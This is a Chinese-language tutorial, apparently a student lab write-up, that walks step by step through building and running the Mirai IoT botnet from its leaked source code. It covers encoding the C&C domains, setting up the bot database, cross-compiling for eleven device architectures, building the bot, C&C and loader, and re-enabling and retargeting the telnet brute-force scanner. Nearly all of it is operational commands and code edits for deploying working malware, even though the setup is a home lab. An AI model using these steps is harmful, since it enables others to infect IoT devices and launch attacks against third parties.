一、準備
1.Mirai 使用了 C,Go 兩種編程語言,使用數據庫存儲數據,因此提前安裝需要軟件如下命令:
sudo apt-get install git
sudo apt-get install gcc
sudo apt-get install golang
sudo apt-get install electric-fence
sudo apt-get install mysql-server mysql-client
2.下載源碼
git clone https://github.com/jgamblin/Mirai-Source-Code
3.修改參數,配置CNC
cd mirai/tools && gcc enc.c -o enc.out //編譯enc可執行文件,用于ip地址異或
./enc.out string cnc.changeme.com //會返回一串“\x”字符串 (其實就是加密了 cnc.changeme.com)
./enc.out string report.changeme.com //會返回一串“\x”字符串
分別替換tables.c
文件中的18行和21行的“\x”字符串和后面的另一個參數
下圖是我得到的字符串和修改后的圖。提供參考。
記得:要修改兩個參數!(\x字符串和后面的長度的參數)
4.配置數據庫
cd ../../scripts //進入script目錄
gedit db.sql //編輯大db.sql文件
添加use mirai;
如下圖
service mysql start //啟動Mysql 服務
cat db.sql | mysql -uroot -proot
mysql -uroot -proot //以用戶名和密碼都是`root`登錄數據庫
INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, ''); //添加的用戶
exit //退出
修改mirai/cnc/main.go
中用戶名和密碼與設置的一樣。修改后如下圖
5.配置交叉編譯環境
cd .. && mkdir cross-compmile-bin //這里是在`Mirai-Source-Code`目錄下新建
cd cross-compile-bin
下載如下11個壓縮包
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz
2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
(有可能會下的很慢。我這里放一個我的下好的。鏈接:https://pan.baidu.com/s/1Z89uaV7boW2SRjIv6Y0Iig
提取碼:7o34 )
cd ../scripts
sudo ./cross-compile.sh
編譯過程會提示是否安裝 mysql,選否就可以
gedit ~/.bashrc //打開環境變量
把以下放到最后
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go
如圖:source ~/.bashrc //刷新環境變量
6.編譯CNC 和bot
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
cd ../mirai
./build.sh debug telnet
cd ../loader
./build.sh
至此環境全部配置完成。
二、說明
設備情況:
電腦A:作為第一個被感染的設備。在48101端口運行./mirai.dbg
進行掃描爆破。
電腦B:作為CNC&Loader。
CNC時:在分別在23和101 端口運行./cnc
發送攻擊指令、與bot保持連接。
Loader時:在48101端口運行./scanList
持續監聽。
連接情況:
1 電腦 A、B通過wifi連接宿舍局域網。
2 攝像頭A、B利用交換機與宿舍路由器連接。
最終就是保證四臺設備要在同一網絡下,能夠相互連接。
三、測試
1.還需要一點調整
由于cnc啟動是在/debug/cnc
目錄下進行的,但是源碼里寫的是絕對路經。(如下圖)
所以我們把
mirai
目錄下的prompt.txt
移動到/debug/cnc
下。如圖
2.啟動CNC (電腦B)
go build -o debug/cnc cnc/*.go //在mirai 目錄下運行
./debug/cnc
得到如圖:
再新開一個終端嘗試連接 (可能需要管理員權限)
telnet cnc.change.com 23
得到如下提示后再按一下回車,輸入用戶名密碼登錄
得到下圖反饋表示登錄成功!
3 啟動loader (電腦B)
cd mirai/debug
sudo ./scanListen
通過查看48101端口是可以看到該端口在運行該程序
netstat -lput // 查看端口指令
4 啟動掃描程序 (電腦A)
由于源碼默認在 debug 模式中關閉了 scanner 功能,將bot/main.c 中157行和162行注釋后即可運行。
之后重新編譯運行即可
在
mirai
目錄下運行如下
./build.sh debug telnet
在mirai/debug
目錄下運行如下(這里注意一定要用管理員權限進行)
sudo ./mirai.dbg
則會開始掃描如下:
5 控制掃描ip
由于源碼中是隨機找一個ip進行爆破 (mirai/bot/scanner.c
674行起),修改代碼后暫時可以固定一位ip地址掃描。修改后固定第一位為‘10’,結果如下: